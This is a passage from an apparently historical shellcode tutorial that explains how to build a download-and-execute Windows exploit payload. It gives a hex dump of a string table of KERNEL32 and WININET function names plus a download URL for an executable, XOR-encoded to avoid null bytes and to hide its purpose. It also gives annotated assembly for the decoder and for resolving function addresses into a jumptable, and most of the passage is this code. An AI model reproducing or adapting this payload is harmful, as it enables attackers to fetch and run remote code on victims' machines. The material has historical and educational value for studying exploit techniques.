Creating our Jumptable

Now to create the jumptable.

Hurdle #1: We need to refer to the functions by name

That's right. GetProcAddress calls for either a function ordinal (which we can't use because they change from version to version), or a function name. A NULL terminated function name. Our exploit string has to have null characters in it? Oh shit! We should have thought of that earlier! That and we'll have to package this thing with a URL string as well for it to download!

So we be clever again. Since no character in any of our function names, or in our download URL is above ASCII 0x80, it's safe to tack all of the names and the url to the end of the exploit string, and XOR (or ADD for that matter) 0x80 to all of the string bytes. And when we start up the exploit, we simply XOR the tail of our exploit with 0x80's. This has the added advantage that the naked eye looking at the exploit string won't be able to tell exactly what we're trying to do. Not good encryption, but that's not the point. We're just trying to make it _work_.

So we tack the following crap to the end of the exploit string:


00000270:  .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00         KERNEL32

00000280:  5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00  _lcreat _lwrite

00000290:  5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00  _lclose WinExec

000002A0:  45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62  ExitProcess Glob

000002B0:  61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00  alAlloc WININET

000002C0:  49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E  InternetOpenA In

000002D0:  74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C  ternetCloseHandl

000002E0:  65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72  e InternetOpenUr

000002F0:  6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46  lA InternetReadF

00000300:  69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C  ile http://www.l

00000310:  30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67  0pht.com/~dildog

00000320:  2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..  /eatme.exe      

But we XOR it with 0x80 to eliminate the 00 bytes, as follows:


 00000270:  .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80         -+-++¦¦_Ç

 00000280:  DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80  __¶__ß_Ç_______Ç

 00000290:  DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80  __¶____Ç+__+°_¶Ç

 000002A0:  C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2  +°__-__¶___Ǧ___

 000002B0:  E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80  ß_-___¶Ç+++++++Ç

 000002C0:  C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE  +_______-___-Ç+_

 000002D0:  F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC  ______+____+ß___

 000002E0:  E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2  _Ç+_______-___+_

 000002F0:  EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6  _-Ç+_______-_ß_¦

 00000300:  E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC  ___Ç____¦»»___«_

 00000310:  B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7  ____«¶__»_______

 00000320:  AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. ..  »_ß___

Got it? Good.

Hurdle #2: We need to decode the string table

So our first task in the code is to decode this shit, so we make this the first thing it executes:


 00000146: 33C9                         xor    ecx,ecx

Clear ECX, we're gonna use this.

 00000148: B88053FF63                   mov    eax,063FF5380  ;"c_SÇ"

 0000014D: 2C80                         sub    al,080  ;"Ç"

 0000014F: C1C018                       rol    eax,018

Set EAX to the end of our data area in memory (we have to do this ugly funk so we don't get any NULL characters).

 00000152: B1B4                         mov    cl,0B4  ;"¦"

ECX is now 0x000000B4, the number of characters we want to XOR.

 00000154: 48                           dec    eax

 00000155: 803080                       xor    b,[eax],080  ;"Ç"

 00000158: E2FA                         loop   000000154   ---------- (1)

And here's the XOR loop. Now we see why we XORed from the end of the memory. Now EAX points to the start of the data, and we can proceed to use it to reference the names. Now we move on to actually get our jumptable.

Hurdle #3: Loading all the procedure addresses


 0000015A: BE7C10606A                   mov    esi,06A60107C

 0000015F: 50                           push   eax

 00000160: 50                           push   eax

 00000161: FF16                         call   d,[esi]

 00000163: 8BF0                         mov    esi,eax

All this code does is call LoadModule. I didn't need to push twice there, but I was debugging, and hey, I forgot to remove it. NOP it out if you like. EAX pointed to the string "KERNEL32", which was the first argument to LoadModule. When LoadModule returns, it will put the kernel module handle in EAX, which we then save in ESI, so that it won't get blown away by calling other procedures.


 00000165: 5B                           pop    ebx

 00000166: 8BFB                         mov    edi,ebx

 00000168: 6681EF4BFF                   sub    di,0FF4B  ;"_K"

This sets EDI to point to the base of our jumptable, which we place 181 bytes past the beginning of our decoded string table (in further stack space).

 0000016D: FC                           cld

 0000016E: 33C9                         xor    ecx,ecx

 00000170: 80E9FA                       sub    cl,-006

We're going to loop six times, for the six procedures we're loading from the kernel. So now ECX=0x00000006.

 00000173: 43                           inc    ebx

 00000174: 32C0                         xor    al,al

 00000176: D7                           xlat

 00000177: 84C0                         test   al,al

 00000179: 75F8                         jne    000000173   ---------- (1)

 0000017B: 43                           inc    ebx

This loop scans over the text, searching for a null character (move to the next string, in other words), and then points EBX the character one past the 0x00 byte. This moves us from one procedure name to the next. Note the 31337 use of XLAT. I like that. Our whole memory reference in one byte. Sweet.

 0000017C: 51                           push   ecx

 0000017D: 53                           push   ebx

 0000017E: 56                           push   esi

 0000017F: FF157810606A                 call   d,[06A601078]

 00000185: AB                           stosd

 00000186: 59                           pop    ecx

This gets the procedure addresses for our functions, and places them in the table pointed to by EDI.

 00000187: E2EA                         loop   000000173   ---------- (2)

Loop for all the kernel procedures.

Now that we're done with the kernel, we gotta repeat for the WININET procedures.


 00000189: 43                           inc    ebx

 0000018A: 32C0                         xor    al,al

 0000018C: D7                           xlat

 0000018D: 84C0                         test   al,al

 0000018F: 75F8                         jne    000000189   ---------- (2)

 00000191: 43                           inc    ebx

This code only exists to move EBX past the name of the last kernel function and to the string "WININET" in our decoded string table.

 00000192: 53                           push   ebx

 00000193: 53                           push   ebx

 00000194: FF157C10606A                 call   d,[06A60107C]

 0000019A: 8BF0                         mov    esi,eax

 0000019C: 90                           nop

 0000019D: 90                           nop

 0000019E: 90                           nop

 0000019F: 90                           nop

Yeah the NOPs and the double-push are more debugging shit. Get rid of them yourself if you don't like 'em there. This code gets the module handle (base address) of WININET.DLL. It stores it in ESI.

 000001A0: 33C9                         xor    ecx,ecx

 000001A2: 83E9FC                       sub    ecx,-004

 000001A5: 43                           inc    ebx

 000001A6: 32C0                         xor    al,al

 000001A8: D7                           xlat

 000001A9: 84C0                         test   al,al

 000001AB: 75F8                         jne    0000001A5

 000001AD: 43                           inc    ebx

 000001AE: 51                           push   ecx

 000001AF: 53                           push   ebx

 000001B0: 56                           push   esi

 000001B1: FF157810606A                 call   d,[06A601078]

 000001B7: AB                           stosd

 000001B8: 59                           pop    ecx

 000001B9: E2EA                         loop   0000001A5

This is just a copy of the code used to get the addresses for the kernel functions, but this time it's getting the addresses of 4 WININET functions. I hope you don't need me to explain all of this twice, or you'll never finish reading this. OK! now we've built us a jumptable. EDI points to the dword past the end of the jumptable, so we can just reference our procedures indirectly from EDI now (call dword ptr [edi-16]). It's just like an import table, but more fun!

Now that we have harnessed all of our tools, they are mere keystrokes away. It's time to get to the meat.

Where's the 0x0000BEEF?

This makes no sense. I hate you.